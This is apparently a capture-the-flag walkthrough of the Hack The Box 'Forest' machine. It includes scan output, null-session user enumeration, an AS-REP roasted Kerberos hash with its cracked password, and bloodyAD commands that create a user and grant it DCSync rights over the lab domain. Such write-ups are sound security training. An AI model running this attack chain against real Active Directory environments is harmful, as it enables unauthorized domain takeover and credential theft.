Forest is an easy level box, which involves pure Active Directory attacks. The box starts out with enumerating all the users within the domain by using a null rpc session. We can then leverage this user list to find an AS-REP roastable user. By AS-REP roasting this user, we are able obatin their hash, which can then be cracked using HashCat. We leverage this user to run Bloodhound and find out we can add ourselves to a high privilaged group, allowing WriteDACL over the domain.
# Nmap 7.94SVN scan initiated Wed Sep 4 21:29:53 2024 as: nmap -sV -sC -oN scan.nmap -v 10.129.95.210 Nmap scan report for 10.129.95.210 Host is up (0.051s latency). Not shown: 989 closed tcp ports (reset) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-09-05 01:36:50Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results: | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: required |_clock-skew: mean: 2h26m49s, deviation: 4h02m31s, median: 6m48s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: FOREST | NetBIOS computer name: FOREST\x00 | Domain name: htb.local | Forest name: htb.local | FQDN: FOREST.htb.local |_ System time: 2024-09-04T18:36:55-07:00 | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2024-09-05T01:36:56 |_ start_date: 2024-09-05T01:33:34
Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Sep 4 21:30:15 2024 -- 1 IP address (1 host up) scanned in 21.96 seconds
See port 88 up as Kerberors, and port 3268 as LDAP, this tells me this is most likely a Windows DC. I started out by checking if null sessions were allowed with SMB.
Running the following proves that a null session is allowed, but unable to list shares
1 2 3 4 5
$ nxc smb 10.129.95.210 -u "" -p "" --shares
SMB 10.129.95.210 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True) SMB 10.129.95.210 445 FOREST [+] htb.local\: SMB 10.129.95.210 445 FOREST [-] Error enumerating shares: STATUS_ACCESS_DENIED
Foothold via ASREPRoast
Creating a Userlist
Due to no access to signifigant access the domain controller through a null session, I decided to use the null session to enumerate users on the machine. If we get a list of valid users I could enumerate users vulnerable to ASREProasting, due to no pre-authentication required
I first checked it the null session was allowed to enumerate users with NetExec
1 2 3 4 5 6 7 8 9 10 11 12 13 14
$ nxc smb 10.129.95.210 -u "" -p "" --users
SMB 10.129.95.210 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True) SMB 10.129.95.210 445 FOREST [+] htb.local\: SMB 10.129.95.210 445 FOREST -Username- -Last PW Set- -BadPW- -Description- SMB 10.129.95.210 445 FOREST Administrator 2021-08-31 00:51:58 0 Built-in account for administering the computer/domain SMB 10.129.95.210 445 FOREST Guest <never> 0 Built-in account for guest access to the computer/domain SMB 10.129.95.210 445 FOREST krbtgt 2019-09-18 10:53:23 0 Key Distribution Center Service Account SMB 10.129.95.210 445 FOREST DefaultAccount <never> 0 A user account managed by the system. <SNIP> SMB 10.129.95.210 445 FOREST svc-alfresco 2024-09-05 01:44:34 0 SMB 10.129.95.210 445 FOREST andy 2019-09-22 22:44:16 0 SMB 10.129.95.210 445 FOREST mark 2019-09-20 22:57:30 0 SMB 10.129.95.210 445 FOREST santi 2019-09-20 23:02:55 0
As seen above the anonymous user is allowed to get all domain users. To get a list of these user, I used rpcclient and vim macros.
Now that I have my users list, I ran GetNPUsers.py, which looks for users which do not require pre-authenticaiton, the tool also automatically requests and saves a vulnerable user’s hash.
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) <SNIP> [-] User HealthMailbox7108a4e doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$svc-alfresco@HTB.LOCAL:4bb40a38014d2f38d41c0ae6c393c832$a6452ab4d3fbb82b18066ae24e83100677e8e02846cbd0d8b5d6903bd560dbf313da5ec0ca329729a3454e47276bbaa7f7cb9eaf6daeea8204c52a8429f982c63bdc4083225001e21320b559cd538f1a3b02d629e4987eff70d058d9305cd2b9b4de5b008a356fece2b4477c476cf423c99a28b3eee5ae6eecea86e4c9607d0df1ce877486b98acc82f9a348764e81e1f156593329390b86fe3334dda4b1f26d3f71cf3474fe4302b86c6acc0c2b5fc22d750386baccf483f940a97086132d9b035b857470ecce7183f5d98d0eda4d5d3a28cb88ee16d66f7836efd8295ce3878e04715c0bb5 [-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
Running this, the user svc-alfresco does not require pre-authentication. Now that the user’s hash is saved, I forwarded to hashcat to crack.
Checking this user’s transitive object control, I was able to map the following path in Bloodhound.
Through nested groups, our user is apart of the Account Operators AD group, this group allows GenericAll rights over the group EXCHANGE WINDOWS PERMISSIONS. GenericAll permissions over a group allow us to add a user to that group. Once we have control over EXCHANGE WINDOWS PERMISSIONS, we can legerage WriteDACL to permit a user DCsync rights over the domain, effectivly compromising the domain through a DCsync attack.
I use Bloody-AD to create a new user to be used with this attack, we are allowed to do this because we are in the Account Operators group.
1 2
$ bloodyAD -d htb.local --host 10.129.95.210 -u "svc-alfresco" -p "s3rvice" add user "jeff""password123\!" [+] jeff created
As mentioned earlier, we’ll add our new user jeff to EXCHANGE WINDOWS PERMISSIONS
1 2
$ bloodyAD -d htb.local --host 10.129.95.210 -u "svc-alfresco" -p "s3rvice" add groupMember "EXCHANGE WINDOWS PERMISSIONS""jeff" [+] jeff added to EXCHANGE WINDOWS PERMISSIONS
Using the user jeff, we can attempt to add DCSync privilages over the domain
1 2
$ bloodyAD -d htb.local --host 10.129.95.210 -u "jeff" -p "password123\!" add dcsync jeff [+] jeff is now able to DCSync
Domain Comprimise
We can now run secrets dump, given our new privilages.
